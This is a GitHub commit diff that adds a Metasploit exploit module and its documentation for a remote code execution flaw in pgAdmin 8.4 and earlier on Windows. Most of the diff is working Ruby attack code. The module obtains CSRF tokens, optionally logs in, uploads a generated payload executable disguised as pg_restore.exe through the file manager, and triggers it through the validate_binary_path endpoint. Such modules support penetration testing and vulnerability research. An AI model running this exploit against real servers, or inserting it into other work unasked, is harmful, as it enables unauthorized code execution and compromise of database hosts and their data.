Skip to content

Commit 7e9f52d

Browse files
committed
Github release
1 parent b3605bd commit 7e9f52d

File tree

2 files changed

+172
-100
lines changed

2 files changed

+172
-100
lines changed

documentation/modules/exploit/windows/http/pgadmin_binary_path_api.md

Lines changed: 9 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,12 @@
1-
*## Vulnerable Application
2-
The pgAdmin versions up to 8.4 are vulnerable to a Remote Code Execution (RCE) flaw through the validate binary path API. This vulnerability allows attackers to run arbitrary code on the server hosting pgAdmin, which poses a significant threat to the integrity of the database management system and the security of its underlying data.
3-
4-
The exploit can be executed in both authenticated and unauthenticated scenarios. When valid credentials are available, Metasploit can log in to pgAdmin, upload a malicious payload using the file management plugin, and then execute it via the validate_binary_path endpoint. This vulnerability is specific to Windows targets. If authentication is not required by the application, Metasploit can directly upload and trigger the payload through the validate_binary_path endpoint.
1+
## Vulnerable Application
2+
The pgAdmin versions up to 8.4 are vulnerable to a Remote Code Execution (RCE) flaw through the validate binary path API.
3+
This vulnerability allows attackers to run arbitrary code on the server hosting pgAdmin, which poses a significant
4+
threat to the integrity of the database management system and the security of its underlying data.
5+
6+
The exploit can be executed in both authenticated and unauthenticated scenarios. When valid credentials are available,
7+
Metasploit can log in to pgAdmin, upload a malicious payload using the file management plugin, and then execute it via
8+
the validate_binary_path endpoint. This vulnerability is specific to Windows targets. If authentication is not required
9+
by the application, Metasploit can directly upload and trigger the payload through the validate_binary_path endpoint.
510

611
## Verification Steps
712

modules/exploits/windows/http/pgadmin_binary_path_api.rb

Lines changed: 163 additions & 96 deletions
Original file line numberDiff line numberDiff line change
@@ -4,33 +4,30 @@
44
##
55

66
class MetasploitModule < Msf::Exploit::Remote
7-
Rank = ExcellentRanking
7+
Rank = ExcellentRanking
88

9-
#
10-
# This exploit affects a webapp, so we need to import HTTP Client
11-
# to easily interact with it.
12-
#
139
prepend Msf::Exploit::Remote::AutoCheck
1410
include Msf::Exploit::Remote::HttpClient
15-
16-
11+
include Msf::Exploit::FileDropper
12+
include Msf::Exploit::EXE
1713

1814
def initialize(info = {})
1915
super(
2016
update_info(
2117
info,
2218
'Name' => 'pgAdmin Binary Path API RCE',
2319
'Description' => %q{
24-
pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE)
25-
vulnerability through the validate binary path API. This vulnerability
26-
allows attackers to execute arbitrary code on the server hosting PGAdmin,
27-
posing a severe risk to the database management system's integrity and the security of the underlying data.
20+
pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE)
21+
vulnerability through the validate binary path API. This vulnerability
22+
allows attackers to execute arbitrary code on the server hosting PGAdmin,
23+
posing a severe risk to the database management system's integrity and the security of the underlying data.
2824
29-
Tested on pgAdmin 8.4 on Windows 10.
25+
Tested on pgAdmin 8.4 on Windows 10 both authenticated and unauthenticated.
3026
},
3127
'License' => MSF_LICENSE,
3228
'Author' => [
3329
'M.Selim Karahan', # metasploit module
30+
'Mustafa Mutlu', # lab prep. and QA
3431
'Ayoub Mokhtar' # vulnerability discovery and write up
3532
],
3633
'References' => [
@@ -45,7 +42,6 @@ def initialize(info = {})
4542
],
4643
'DisclosureDate' => '2024-03-28',
4744
'DefaultTarget' => 0,
48-
# https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
4945
'Notes' => {
5046
'Stability' => [ CRASH_SAFE, ],
5147
'Reliability' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ],
@@ -55,107 +51,178 @@ def initialize(info = {})
5551
)
5652
register_options(
5753
[
58-
Opt::RPORT(80),
59-
OptString.new('USERNAME', [ false, 'User to login with', 'admin']),
60-
OptString.new('PASSWORD', [ false, 'Password to login with', '123456']),
61-
OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/example/'])
54+
Opt::RPORT(8000),
55+
OptString.new('USERNAME', [ false, 'User to login with', '']),
56+
OptString.new('PASSWORD', [ false, 'Password to login with', '']),
57+
OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/'])
6258
]
6359
)
6460
end
6561

66-
#
67-
# The sample exploit checks the index page to verify the version number is exploitable
68-
# we use a regex for the version number
69-
#
7062
def check
71-
# only catch the response if we're going to use it, in this case we do for the version
72-
# detection.
73-
res = send_request_cgi(
74-
'uri' => normalize_uri(target_uri.path, 'index.php'),
75-
'method' => 'GET'
76-
)
77-
# gracefully handle if res comes back as nil, since we're not guaranteed a response
78-
# also handle if we get an unexpected HTTP response code
79-
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
80-
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code == 200
63+
version = get_version
64+
return CheckCode::Unknown('Unable to determine the target version') unless version
65+
return CheckCode::Safe("pgAdmin version #{version} is not affected") if version >= Rex::Version.new('8.5')
66+
67+
CheckCode::Vulnerable("pgAdmin version #{version} is affected")
68+
end
8169

82-
# here we're looking through html for the version string, similar to:
83-
# Version 1.2
84-
%r{Version: (?<version>\d{1,2}\.\d{1,2})</td>} =~ res.body
70+
def set_csrf_token_from_login_page(res)
71+
if res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/
72+
@csrf_token = Regexp.last_match(1)
73+
# at some point between v7.0 and 7.7 the token format changed
74+
elsif (element = res.get_html_document.xpath("//input[@id='csrf_token']")&.first)
75+
@csrf_token = element['value']
76+
end
77+
end
78+
79+
def set_csrf_token_from_config(res)
80+
if res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/
81+
@csrf_token = Regexp.last_match(1)
82+
# at some point between v7.0 and 7.7 the token format changed
83+
# pgAdmin['csrf_token'] =
84+
else
85+
@csrf_token = res.body.scan(/pgAdmin\['csrf_token'\]\s*=\s*'([^']+)'/)&.flatten&.first
86+
end
87+
end
88+
89+
def auth_required?
90+
res = send_request_cgi('uri' => normalize_uri(target_uri.path), 'keep_cookies' => true)
91+
if res&.code == 302 && res.headers['Location']['login']
92+
true
93+
elsif res&.code == 302 && res.headers['Location']['browser']
94+
false
95+
end
96+
end
8597

86-
if version && Rex::Version.new(version) <= Rex::Version.new('1.3')
87-
CheckCode::Appears("Version Detected: #{version}")
98+
def get_version
99+
if auth_required?
100+
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true)
101+
else
102+
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'browser/'), 'keep_cookies' => true)
88103
end
104+
html_document = res.get_html_document
105+
return unless html_document.xpath('//title').text == 'pgAdmin 4'
106+
107+
# there's multiple links in the HTML that expose the version number in the [X]XYYZZ,
108+
# see: https://github.com/pgadmin-org/pgadmin4/blob/053b1e3d693db987d1c947e1cb34daf842e387b7/web/version.py#L27
109+
versioned_link = html_document.xpath('//link').find { |link| link['href'] =~ /\?ver=(\d?\d)(\d\d)(\d\d)/ }
110+
return unless versioned_link
111+
112+
Rex::Version.new("#{Regexp.last_match(1).to_i}.#{Regexp.last_match(2).to_i}.#{Regexp.last_match(3).to_i}")
113+
end
114+
115+
def csrf_token
116+
return @csrf_token if @csrf_token
89117

90-
CheckCode::Safe
118+
if auth_required?
119+
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true)
120+
set_csrf_token_from_login_page(res)
121+
else
122+
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'browser/js/utils.js'), 'keep_cookies' => true)
123+
set_csrf_token_from_config(res)
124+
end
125+
fail_with(Failure::UnexpectedReply, 'Failed to obtain the CSRF token') unless @csrf_token
126+
@csrf_token
91127
end
92128

93-
#
94-
# The exploit method attempts a login, then attempts to throw a command execution
95-
# at a web page through a POST variable
96-
#
97129
def exploit
98-
# attempt a login. In this case we show basic auth, and a POST to a fake username/password
99-
# simply to show how both are done
100-
vprint_status('Attempting login')
101-
# since we will check res to see if auth was a success, make sure to capture the return
102-
res = send_request_cgi(
103-
'uri' => normalize_uri(target_uri.path, 'login.php'),
130+
if auth_required? && !(datastore['USERNAME'].present? && datastore['PASSWORD'].present?)
131+
fail_with(Failure::BadConfig, 'Application requires authentication, provide credentials!')
132+
end
133+
134+
if auth_required?
135+
res = send_request_cgi({
136+
'uri' => normalize_uri(target_uri.path, 'authenticate/login'),
137+
'method' => 'POST',
138+
'keep_cookies' => true,
139+
'vars_post' => {
140+
'csrf_token' => csrf_token,
141+
'email' => datastore['USERNAME'],
142+
'password' => datastore['PASSWORD'],
143+
'language' => 'en',
144+
'internal_button' => 'Login'
145+
}
146+
})
147+
148+
unless res&.code == 302 && res.headers['Location'] != normalize_uri(target_uri.path, 'login')
149+
fail_with(Failure::NoAccess, 'Failed to authenticate to pgAdmin')
150+
end
151+
152+
print_status('Successfully authenticated to pgAdmin')
153+
end
154+
155+
file_name = 'pg_restore.exe'
156+
file_manager_upload_and_trigger(file_name, generate_payload_exe)
157+
rescue ::Rex::ConnectionError
158+
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
159+
end
160+
161+
# file manager code is copied from pgadmin_session_deserialization module
162+
163+
def file_manager_init
164+
res = send_request_cgi({
165+
'uri' => normalize_uri(target_uri.path, 'file_manager/init'),
104166
'method' => 'POST',
105-
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
106-
# automatically handle cookies with keep_cookies. Alternatively use cookie = res.get_cookies and 'cookie' => cookie,
107167
'keep_cookies' => true,
108-
'vars_post' => {
109-
'username' => datastore['USERNAME'],
110-
'password' => datastore['PASSWORD']
111-
},
112-
'vars_get' => {
113-
'example' => 'example'
114-
}
168+
'ctype' => 'application/json',
169+
'headers' => { 'X-pgA-CSRFToken' => csrf_token },
170+
'data' => {
171+
'dialog_type' => 'storage_dialog',
172+
'supported_types' => ['sql', 'csv', 'json', '*'],
173+
'dialog_title' => 'Storage Manager'
174+
}.to_json
175+
})
176+
177+
unless res&.code == 200 && (trans_id = res.get_json_document.dig('data', 'transId')) && (home_folder = res.get_json_document.dig('data', 'options', 'homedir'))
178+
fail_with(Failure::UnexpectedReply, 'Failed to initialize a file manager transaction Id or home folder')
179+
end
180+
181+
return trans_id, home_folder
182+
end
183+
184+
def file_manager_upload_and_trigger(file_path, file_contents)
185+
trans_id, home_folder = file_manager_init
186+
187+
form = Rex::MIME::Message.new
188+
form.add_part(
189+
file_contents,
190+
'application/octet-stream',
191+
'binary',
192+
"form-data; name=\"newfile\"; filename=\"#{file_path}\""
115193
)
194+
form.add_part('add', nil, nil, 'form-data; name="mode"')
195+
form.add_part(home_folder, nil, nil, 'form-data; name="currentpath"')
196+
form.add_part('my_storage', nil, nil, 'form-data; name="storage_folder"')
197+
198+
res = send_request_cgi({
199+
'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"),
200+
'method' => 'POST',
201+
'keep_cookies' => true,
202+
'ctype' => "multipart/form-data; boundary=#{form.bound}",
203+
'headers' => { 'X-pgA-CSRFToken' => csrf_token },
204+
'data' => form.to_s
205+
})
206+
unless res&.code == 200 && res.get_json_document['success'] == 1
207+
fail_with(Failure::UnexpectedReply, 'Failed to upload file contents')
208+
end
116209

117-
# a valid login will give us a 301 redirect to /home.html so check that.
118-
# ALWAYS assume res could be nil and check it first!!!!!
119-
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
120-
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 301
210+
upload_path = res.get_json_document.dig('data', 'result', 'Name')
211+
register_file_for_cleanup(upload_path)
212+
print_status("Payload uploaded to: #{upload_path}")
121213

122-
# we don't care what the response is, so don't bother saving it from send_request_cgi
123-
# datastore['HttpClientTimeout'] ONLY IF we need a longer HTTP timeout
124-
vprint_status('Attempting exploit')
125214
send_request_cgi({
126-
'uri' => normalize_uri(target_uri.path, 'command.html'),
215+
'uri' => normalize_uri(target_uri.path, '/misc/validate_binary_path'),
127216
'method' => 'POST',
128-
'vars_post' =>
129-
{
130-
'cmd_str' => payload.encoded
131-
}
132-
}, datastore['HttpClientTimeout'])
133-
134-
# send_request_raw is used when we need to break away from the HTTP protocol in some way for the exploit to work
135-
send_request_raw({
136-
'method' => 'DESCRIBE',
137-
'proto' => 'RTSP',
138-
'version' => '1.0',
139-
'uri' => '/' + ('../' * 560) + "\xcc\xcc\x90\x90" + '.smi'
140-
}, datastore['HttpClientTimeout'])
141-
142-
# example of sending a MIME message
143-
data = Rex::MIME::Message.new
144-
# https://github.com/rapid7/rex-mime/blob/master/lib/rex/mime/message.rb
145-
file_contents = payload.encoded
146-
data.add_part(file_contents, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"uploaded.bin\"")
147-
data.add_part('example', nil, nil, "form-data; name=\"_wpnonce\"")
148-
149-
post_data = data.to_s
150-
151-
res = send_request_cgi(
152-
'method' => 'POST',
153-
'uri' => normalize_uri(target_uri.path, 'async-upload.php'),
154-
'ctype' => "multipart/form-data; boundary=#{data.bound}",
155-
'data' => post_data,
156-
'cookie' => cookie
157-
)
158-
rescue ::Rex::ConnectionError
159-
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
217+
'keep_cookies' => true,
218+
'ctype' => 'application/json',
219+
'headers' => { 'X-pgA-CSRFToken' => csrf_token },
220+
'data' => {
221+
'utility_path' => upload_path[0..upload_path.size - 16]
222+
}.to_json
223+
})
224+
225+
true
160226
end
227+
161228
end

0 commit comments

Comments
 (0)